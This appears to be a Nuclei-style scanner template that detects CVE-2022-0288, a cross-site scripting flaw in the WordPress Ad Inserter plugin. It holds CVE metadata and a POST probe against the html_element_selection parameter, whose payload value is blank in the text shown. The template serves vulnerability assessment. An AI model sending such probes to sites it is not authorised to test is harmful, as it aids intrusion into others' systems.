id: CVE-2022-0288
info:
name: WordPress Ad Inserter <2.7.10 - Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: |
WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.
remediation: Fixed in version 2.7.12
reference:
- https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42
- https://nvd.nist.gov/vuln/detail/CVE-2022-0288
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0288
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.43054
cpe: cpe:2.3:a:ad_inserter_pro_project:ad_inserter_pro:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: ad_inserter_pro_project
product: ad_inserter_pro
framework: wordpress
tags: wordpress,xss,wpscan,cve,cve2022
http:
- method: POST
path:
- "{{BaseURL}}"
body: |
html_element_selection=
headers:
Content-Type: "application/x-www-form-urlencoded"
matchers-condition: and
matchers:
- type: word
part: body
words:
- ""
- "ad-inserter"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502205fd527520d9aed402878ef8757baa78661b8a36b5420b176c2ccdfef942a460d022100b7a26aa47295870e7018a3486d26e8d0d448b3e601077db680485a849a930bcf:922c64590222798bb761d5b6d8e72950